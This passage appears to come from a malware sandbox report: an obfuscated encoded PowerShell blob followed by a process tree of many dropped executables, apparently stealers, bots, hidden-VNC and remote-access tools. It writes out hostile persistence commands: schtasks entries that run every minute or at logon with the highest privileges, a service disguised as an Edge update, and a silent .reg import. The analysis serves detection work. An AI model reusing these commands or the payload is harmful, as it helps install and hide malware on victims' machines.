MQAxADMAIAAzADIAIAAzADkAIAAxADAANQAgADEAMQAwACAAMQAwADIAIAAxADEAMQAgADMAOQAgADQAMQAgADEAMgAzACAAMQAwACAAMQAxADYAIAAxADEANAAgADEAMgAxACAAMQAyADMAIAAzADYAIAA5ADkAIAAxADEANQAgADYAMQAgADcAMQAgADEAMAAxACAAMQAxADYAIAA0ADUAIAA2ADcAIAAxADAANQAgADEAMAA5ACAANwAzACAAMQAxADAAIAAxADEANQAgADEAMQA2ACAAOQA3ACAAMQAxADAAIAA5ADkAIAAxADAAMQAgADMAMgAgADgANwAgADEAMAA1ACAAMQAxADAAIAA1ADEAIAA1ADAAIAA5ADUAIAA2ADcAIAAxADEAMQAgADEAMAA5ACAAMQAxADIAIAAxADEANwAgADEAMQA2ACAAMQAwADEAIAAxADEANAAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAAzADIAIAA0ADUAIAA2ADkAIAAxADEANAAgADEAMQA0ACAAMQAxADEAIAAxADEANAAgADYANQAgADkAOQAgADEAMQA2ACAAMQAwADUAIAAxADEAMQAgADEAMQAwACAAMwAyACAAOAAzACAAMQAxADYAIAAxADEAMQAgADEAMQAyACAAMQAwACAAMwA2ACAAMQAxADEAIAAxADEANQAgADYAMQAgADcAMQAgADEAMAAxACAAMQAxADYAIAA0ADUAIAA2ADcAIAAxADAANQAgADEAMAA5ACAANwAzACAAMQAxADAAIAAxADEANQAgADEAMQA2ACAAOQA3ACAAMQAxADAAIAA5ADkAIAAxADAAMQAgADMAMgAgADgANwAgADEAMAA1ACAAMQAxADAAIAA1ADEAIAA1ADAAIAA5ADUAIAA3ADkAIAAxADEAMgAgADEAMAAxACAAMQAxADQAIAA5ADcAIAAxADEANgAgADEAMAA1ACAAMQAxADAAIAAxADAAMwAgADgAMwAgADEAMgAxACAAMQAxADUAIAAxADEANgAgADEAMAAxACAAMQAwADkAIAAzADIAIAA0ADUAIAA2ADkAIAAxADEANAAgADEAMQA0ACAAMQAxADEAIAAxADEANAAgADYANQAgADkAOQAgADEAMQA2ACAAMQAwADUAIAAxADEAMQAgADEAMQAwACAAMwAyACAAOAAzACAAMQAxADYAIAAxADEAMQAgADEAMQAyACAAMQAwACAAMwA2ACAAMQAxADAAIAA2ADEAIAA0ADAAIAA3ADEAIAAxADAAMQAgADEAMQA2ACAANAA1ACAANwAzACAAMQAxADYAIAAxADAAMQAgADEAMAA5ACAAOAAwACAAMQAxADQAIAAxADEAMQAgADEAMQAyACAAMQAwADEAIAAxADEANAAgADEAMQA2ACAAMQAyADEAIAAzADIAIAAzADkAIAA3ADIAIAA3ADUAIAA3ADYAIAA3ADcAIAA1ADgAIAA5ADIAIAA4ADMAIAA3ADkAIAA3ADAAIAA4ADQAIAA4ADcAIAA2ADUAIAA4ADIAIAA2ADkAIAA5ADIAIAA3ADcAIAAxADAANQAgADkAOQAgADEAMQA0ACAAMQAxADEAIAAxADEANQAgADEAMQAxACAAMQAwADIAIAAxADEANgAgADkAMgAgADcAOAAgADYAOQAgADgANAAgADMAMgAgADcAMAAgADEAMQA0ACAAOQA3ACAAMQAwADkAIAAxADAAMQAgADEAMQA5ACAAMQAxADEAIAAxADEANAAgADEAMAA3ACAAMwAyACAAOAAzACAAMQAwADEAIAAxADEANgAgADEAMQA3ACAAMQAxADIAIAA5ADIAIAA3ADgAIAA2ADgAIAA4ADAAIAA5ADIAIAAxADEAOAAgADUAMgAgADkAMgAgADcAMAAgADEAMQA3ACAAMQAwADgAIAAxADAAOAAgADMAOQAgADMAMgAgADQANQAgADEAMAAxACAAOQA3ACAAMwAyACAANAA4ACAANAAxACAANAA2ACAAOAA2ACAAMQAwADEAIAAxADEANAAgADEAMQA1ACAAMQAwADUAIAAxADEAMQAgADEAMQAwACAAMQAwACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADcAOAAgADkANwAgADEAMAA5ACAAMQAwADEAIAA2ADEAIAAzADYAIAA0ADAAIAAzADYAIAA5ADkAIAAxADEANQAgADQANgAgADcAOAAgADkANwAgADEAMAA5ACAAMQAwADEAIAA0ADEAIAAxADIANAAgADYANwAgADgAMAAgADgANQAgADYAMQAgADMANgAgADQAMAAgADMANgAgADkAOQAgADEAMQA1ACAANAA2ACAANwA4ACAAMQAxADcAIAAxADAAOQAgADkAOAAgADEAMAAxACAAMQAxADQAIAA3ADkAIAAxADAAMgAgADcANgAgADEAMQAxACAAMQAwADMAIAAxADAANQAgADkAOQAgADkANwAgADEAMAA4ACAAOAAwACAAMQAxADQAIAAxADEAMQAgADkAOQAgADEAMAAxACAAMQAxADUAIAAxADEANQAgADEAMQAxACAAMQAxADQAIAAxADEANQAgADQAMQAgADEAMgA0ACAAOAAyACAANgA1ACAANwA3ACAANgAxACAAMwA2ACAANAAwACAAOQAxACAAMQAwADkAIAA5ADcAIAAxADEANgAgADEAMAA0ACAAOQAzACAANQA4ACAANQA4ACAAOAAyACAAMQAxADEAIAAxADEANwAgADEAMQAwACAAMQAwADAAIAA0ADAAIAAzADYAIAA5ADkAIAAxADEANQAgADQANgAgADgANAAgADEAMQAxACAAMQAxADYAIAA5ADcAIAAxADAAOAAgADgAMAAgADEAMAA0ACAAMQAyADEAIAAxADEANQAgADEAMAA1ACAAOQA5ACAAOQA3ACAAMQAwADgAIAA3ADcAIAAxADAAMQAgADEAMAA5ACAAMQAxADEAIAAxADEANAAgADEAMgAxACAANAA3ACAANAA5ACAANwAxACAANgA2ACAANAA0ACAANAA5ACAANAAxACAANAAxACAANwAxACAANgA2ACAAMQAyADQAIAA3ADkAIAA4ADMAIAA2ADEAIAAzADYAIAA0ADAAIAAzADYAIAAxADEAMQAgADEAMQA1ACAANAA2ACAANgA3ACAAOQA3ACAAMQAxADIAIAAxADEANgAgADEAMAA1ACAAMQAxADEAIAAxADEAMAAgADQAMQAgADEAMgA0ACAAOAA1ACAAMQAxADUAIAAxADAAMQAgADEAMQA0ACAANgAxACAAMwA2ACAAMQAwADEAIAAxADEAMAAgADEAMQA4ACAANQA4ACAAOAA1ACAAOAAzACAANgA5ACAAOAAyACAANwA4ACAANgA1ACAANwA3ACAANgA5ACAAMQAyADQAIAA2ADgAIAAxADEAMQAgADEAMAA5ACAAOQA3ACAAMQAwADUAIAAxADEAMAAgADYAMQAgADMANgAgADEAMAAxACAAMQAxADAAIAAxADEAOAAgADUAOAAgADgANQAgADgAMwAgADYAOQAgADgAMgAgADYAOAAgADcAOQAgADcANwAgADYANQAgADcAMwAgADcAOAAgADEAMgA0ACAANAA2ACAANwA4ACAANgA5ACAAOAA0ACAANgAxACAAMwA2ACAAMQAxADAAIAA5ADYAIAAxADEAMAAgADMANAAgADQAMQAgADEAMgA1ACAAMQAwACAAOQA5ACAAOQA3ACAAMQAxADYAIAA5ADkAIAAxADAANAAgADEAMgAzACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADgANQAgADEAMQA1ACAAMQAwADEAIAAxADEANAAgADYAMQAgADMANgAgADEAMAAxACAAMQAxADAAIAAxADEAOAAgADUAOAAgADgANQAgADgAMwAgADYAOQAgADgAMgAgADcAOAAgADYANQAgADcANwAgADYAOQAgADkANgAgADEAMQAwACAANwAyACAAMQAxADEAIAAxADEANQAgADEAMQA2ACAANgAxACAAMwA2ACAAMQAwADQAIAA5ADYAIAAxADEAMAAgADMANAAgADQAMQAgADEAMgA1ACAAMQAyADUAIAAxADAAIAAxADAAMQAgADEAMAA4ACAAMQAxADUAIAAxADAAMQAgADEAMgAzACAAMwA2ACAAMQAxADkAIAA0ADYAIAA4ADcAIAAxADEANAAgADEAMAA1ACAAMQAxADYAIAAxADAAMQAgADQAMAAgADMANAAgADgANQAgADEAMQAwACAAMQAwADcAIAAxADEAMAAgADEAMQAxACAAMQAxADkAIAAxADEAMAAgADUAOAAgADMAMgAgADMANgAgADEAMQA0ACAAOQA3ACAAMQAxADkAIAA5ADYAIAAxADEAMAAgADMANAAgADQAMQAgADEAMgA1ACAAMQAyADUAIAAxADIANQAgADEAMAAgADMANgAgADEAMQA2ACAANAA2ACAANgA3ACAAMQAwADgAIAAxADEAMQAgADEAMQA1ACAAMQAwADEAIAA0ADAAIAA0ADEA
      4⤵
      PID:10964
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bzrb4wlx\bzrb4wlx.cmdline"
      4⤵
      PID:4376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File hvnc.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5632
- - C:\Windows\a\a.exe
    a.exe
    3⤵
    PID:1240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      PID:5388
    - - C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5388" "2344" "2232" "2328" "0" "0" "2348" "0" "0" "0" "0" "0"
        5⤵
        
        PID:9716
- - C:\Windows\a\ScreenConnect.WindowsClient.exe
    ScreenConnect.WindowsClient.exe
    3⤵
    PID:3280
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 1888
      4⤵
      PID:8740
- - C:\Windows\a\a.exe
    a.exe
    3⤵
    PID:2588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      PID:5772
    - - C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5772" "2376" "2264" "2360" "0" "0" "2380" "0" "0" "0" "0" "0"
        5⤵
        
        PID:9140
- - C:\Windows\a\file_851477f5539ff9f4.exe
    file_851477f5539ff9f4.exe
    3⤵
    PID:244
- - C:\Windows\a\test.exe
    test.exe
    3⤵
    PID:6072
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      PID:5668
- - C:\Windows\a\velogs.exe
    velogs.exe
    3⤵
    PID:2532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h5k5ks4q.gxr"
      4⤵
      PID:3688
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\h5k5ks4q.gxr /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\h5k5ks4q.gxr\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\h5k5ks4q.gxr --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa4f16c728,0x7ffa4f16c734,0x7ffa4f16c740
        5⤵
        
        PID:5000
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h5k5ks4q.gxr" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1896,i,2953614561396656518,4982264937616132090,262144 --field-trial-handle=2232,i,16019981627687108910,9798086748838182481,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:2
        5⤵
        
        PID:10532
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h5k5ks4q.gxr" --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,8503389162164213334,5646802181970324700,524288 --field-trial-handle=2232,i,16019981627687108910,9798086748838182481,262144 --variations-seed-version --mojo-platform-channel-handle=3056 /prefetch:13
        5⤵
        
        PID:10888
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\bzmlxl2s.dd2"
      4⤵
      PID:13280
- - C:\Windows\a\bin.exe
    bin.exe
    3⤵
    PID:1688
- - C:\Windows\a\dcVylmIq.exe
    dcVylmIq.exe
    3⤵
    PID:2768
- - C:\Windows\a\file_3be3fa630977796a.exe
    file_3be3fa630977796a.exe
    3⤵
    PID:7164
- - C:\Windows\a\3.exe
    3.exe
    3⤵
    PID:5024
- - C:\Windows\a\Chrome01.exe
    Chrome01.exe
    3⤵
    PID:3836
- - C:\Windows\a\update.exe
    update.exe
    3⤵
    PID:4852
- - C:\Windows\a\support.client.exe
    support.client.exe
    3⤵
    PID:716
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:5880
- - C:\Windows\a\sma.exe
    sma.exe
    3⤵
    PID:4144
- - C:\Windows\a\Phantomx.exe
    Phantomx.exe
    3⤵
    PID:2036
- - C:\Windows\a\5fzscnissh1s.exe
    5fzscnissh1s.exe
    3⤵
    PID:5604
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:8276
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa4f16c728,0x7ffa4f16c734,0x7ffa4f16c740
        5⤵
        
        PID:8436
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2228 /prefetch:2
        5⤵
        
        PID:9016
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2500 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:9028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --force-high-res-timeticks=disabled --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2468 /prefetch:13
        5⤵
        
        PID:9248
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3376 /prefetch:1
        5⤵
        
        PID:8124
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3400 /prefetch:1
        5⤵
        
        PID:8696
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3932 /prefetch:9
        5⤵
        
        PID:9436
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3924 /prefetch:9
        5⤵
        
        PID:9460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3904 /prefetch:1
        5⤵
        
        PID:9452
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4260 /prefetch:1
        5⤵
        
        PID:8168
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5480 /prefetch:9
        5⤵
        
        PID:9608
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906" --force-high-res-timeticks=disabled --field-trial-handle=2372,i,9121974500323184882,12783066580991427788,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1148 /prefetch:14
        5⤵
        
        PID:7000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:9744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1196
- - C:\Windows\a\db9c0fee.exe
    db9c0fee.exe
    3⤵
    PID:6088
- - C:\Windows\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:6556
  - - C:\Users\Admin\AppData\Local\Temp\8egf40ye.exe
      "C:\Users\Admin\AppData\Local\Temp\8egf40ye.exe"
      4⤵
      PID:7984
- - C:\Windows\a\SshCracker.exe
    SshCracker.exe
    3⤵
    PID:3292
- - C:\Windows\a\ChromeSetup.exe
    ChromeSetup.exe
    3⤵
    PID:4452
  - - C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
      C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
      4⤵
      PID:7564
    - - C:\Windows\SystemTemp\Google7564_379608727\bin\updater.exe
        
        "C:\Windows\SystemTemp\Google7564_379608727\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={7CE1A3BF-8CB5-0868-5AE3-3E79944A9662}&lang=ru&browser=4&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=-arch_x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=2
        5⤵
        
        PID:3752
      - C:\Windows\SystemTemp\Google7564_379608727\bin\updater.exe
        
        C:\Windows\SystemTemp\Google7564_379608727\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2a8,0x2ac,0x2b0,0x2a4,0x2b4,0x141e5fc,0x141e608,0x141e614
        6⤵
        
        PID:7092
- - C:\Windows\a\stlr.exe
    stlr.exe
    3⤵
    PID:6392
  - - C:\Windows\helpPane.exe
      "C:\Windows\helpPane.exe"
      4⤵
      PID:9944
- - C:\Windows\a\klr.exe
    klr.exe
    3⤵
    PID:204
- - C:\Windows\a\Client-built.exe
    Client-built.exe
    3⤵
    PID:5620
- - C:\Windows\a\877901a58750.exe
    877901a58750.exe
    3⤵
    PID:6232
- - C:\Windows\a\file_f309f8496f916deb.exe
    file_f309f8496f916deb.exe
    3⤵
    PID:3856
- - C:\Windows\a\wrm.exe
    wrm.exe
    3⤵
    PID:6660
  - - C:\Windows\a\wrm.exe
      wrm.exe
      4⤵
      PID:2984
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:9692
- - C:\Windows\a\8.exe
    8.exe
    3⤵
    PID:6752
- - C:\Windows\a\ScreenConnect.ClientSetup.exe
    ScreenConnect.ClientSetup.exe
    3⤵
    PID:2788
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 1020
      4⤵
      Program crash
      PID:8412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 1020
      4⤵
      Program crash
      PID:8104
- - C:\Windows\a\file_b82f2dba4422534f.exe
    file_b82f2dba4422534f.exe
    3⤵
    PID:6980
- - C:\Windows\a\rcx1.exe
    rcx1.exe
    3⤵
    PID:1496
- - C:\Windows\a\msedge.exe
    msedge.exe
    3⤵
    PID:7600
  - - C:\Windows\SysWOW64\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\GBUWXP.reg"
      4⤵
      Runs .reg file with regedit
      PID:8336
- - C:\Windows\a\JavaChecker.exe
    JavaChecker.exe
    3⤵
    PID:6720
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Windows\a\JavaChecker.exe" /sc onlogon /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9168
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:8508
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Zoom.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:1304
- - C:\Windows\a\gM9anpOuZNKX8zHj.exe
    gM9anpOuZNKX8zHj.exe
    3⤵
    PID:6464
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "DeviceMetadataRetrieval_e122" /tr "C:\Users\Admin\AppData\Roaming\MediaPlayer5FF8\SmartScreenHost27dac.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9492
- - C:\Windows\a\9z7BGnRGpgs8cZv7.exe
    9z7BGnRGpgs8cZv7.exe
    3⤵
    PID:3968
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1200
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"
      4⤵
      PID:8044
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7348
- - C:\Windows\a\s.exe
    s.exe
    3⤵
    PID:1560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\a\1.bat
      4⤵
      Executes a command shell one-liner
      PID:9316
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5316
- - C:\Windows\a\mKM65Cf6QNqeOVw9.exe
    mKM65Cf6QNqeOVw9.exe
    3⤵
    PID:7732
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
      4⤵
      Launches sc.exe
      PID:7592
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:6504
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
      4⤵
      Launches sc.exe
      PID:6744
- - C:\Windows\a\file_a8b257b458693ac9.exe
    file_a8b257b458693ac9.exe
    3⤵
    PID:7504
  - - C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      4⤵
      PID:9500
- - C:\Windows\a\svchost.exe
    svchost.exe
    3⤵
    PID:7312
  - - C:\Windows\a\svchost.exe
      svchost.exe
      4⤵
      PID:8556
- - C:\Windows\a\file_37b904483beaa60e.exe
    file_37b904483beaa60e.exe
